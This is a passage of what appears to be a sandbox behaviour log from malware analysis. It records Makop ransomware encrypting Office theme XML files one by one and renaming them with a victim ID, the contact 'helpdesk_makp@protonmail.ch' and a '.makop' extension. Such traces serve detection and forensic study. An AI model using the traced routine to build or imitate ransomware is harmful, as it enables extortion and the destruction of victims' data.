hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.419] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.419] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.419] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xee9, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xee9, lpOverlapped=0x0) returned 1 [0161.419] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xef0, dwBufLen=0xef0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xef0) returned 1 [0161.420] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.420] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xef0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xef0, lpOverlapped=0x0) returned 1 [0161.420] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.420] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xfc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.420] SetEndOfFile (hFile=0xf0) returned 1 [0161.427] GetProcessHeap () returned 0x48a0000 [0161.427] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0161.427] GetProcessHeap () returned 0x48a0000 [0161.428] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.428] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0161.428] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\solstice.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\solstice.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.448] CloseHandle (hObject=0xf0) returned 1 [0161.448] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe13, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.xml", cAlternateFileName="")) returned 1 [0161.448] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml") returned 76 [0161.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\technic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.449] GetProcessHeap () returned 0x48a0000 [0161.449] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.449] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.449] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.450] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xd, lpOverlapped=0x0) returned 1 [0161.454] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.454] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.454] GetProcessHeap () returned 0x48a0000 [0161.454] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0161.454] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0161.454] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.454] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0161.455] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.455] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.455] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.455] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.455] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.455] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.455] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.455] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.456] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe13, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe13, lpOverlapped=0x0) returned 1 [0161.456] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe20, dwBufLen=0xe20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe20) returned 1 [0161.456] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.456] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe20, lpOverlapped=0x0) returned 1 [0161.456] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.456] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.456] SetEndOfFile (hFile=0xf0) returned 1 [0161.463] GetProcessHeap () returned 0x48a0000 [0161.463] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0161.463] GetProcessHeap () returned 0x48a0000 [0161.464] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.464] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0161.464] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\technic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\technic.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.466] CloseHandle (hObject=0xf0) returned 1 [0161.466] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa69f900, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa69f900, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xeff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.xml", cAlternateFileName="")) returned 1 [0161.466] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml") returned 75 [0161.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\thatch.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.467] GetProcessHeap () returned 0x48a0000 [0161.467] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.467] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.467] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.467] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x1, lpOverlapped=0x0) returned 1 [0161.472] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.472] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.472] GetProcessHeap () returned 0x48a0000 [0161.472] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0161.472] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0161.472] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.472] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0161.473] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.473] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.473] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.473] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.473] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.474] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.474] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.474] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.474] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xeff, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xeff, lpOverlapped=0x0) returned 1 [0161.474] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf00, dwBufLen=0xf00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf00) returned 1 [0161.474] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.474] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xf00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xf00, lpOverlapped=0x0) returned 1 [0161.474] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.475] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xfc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.475] SetEndOfFile (hFile=0xf0) returned 1 [0161.482] GetProcessHeap () returned 0x48a0000 [0161.482] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0161.482] GetProcessHeap () returned 0x48a0000 [0161.482] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.482] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0161.482] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\thatch.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\thatch.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.485] CloseHandle (hObject=0xf0) returned 1 [0161.485] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.xml", cAlternateFileName="")) returned 1 [0161.485] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml") returned 73 [0161.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\trek.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.486] GetProcessHeap () returned 0x48a0000 [0161.486] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.486] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.486] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.486] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.487] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.487] GetProcessHeap () returned 0x48a0000 [0161.487] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0161.487] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0161.487] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.487] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0161.492] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.492] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.492] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.492] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.492] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.493] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.493] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.493] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.493] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe20, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe20, lpOverlapped=0x0) returned 1 [0161.493] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe20, dwBufLen=0xe20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe20) returned 1 [0161.493] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.493] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe20, lpOverlapped=0x0) returned 1 [0161.493] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.493] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.494] SetEndOfFile (hFile=0xf0) returned 1 [0161.500] GetProcessHeap () returned 0x48a0000 [0161.500] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0161.500] GetProcessHeap () returned 0x48a0000 [0161.500] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.500] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0161.500] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\trek.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\trek.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.502] CloseHandle (hObject=0xf0) returned 1 [0161.502] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe7e3700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe7e3700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe19, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urban.xml", cAlternateFileName="")) returned 1 [0161.502] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml") returned 74 [0161.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\urban.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.505] GetProcessHeap () returned 0x48a0000 [0161.506] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.506] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.506] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.506] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x7, lpOverlapped=0x0) returned 1 [0161.510] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.510] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.510] GetProcessHeap () returned 0x48a0000 [0161.510] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0161.511] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0161.511] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.511] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0161.511] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.511] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.511] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.511] SetFilePointerEx (in: 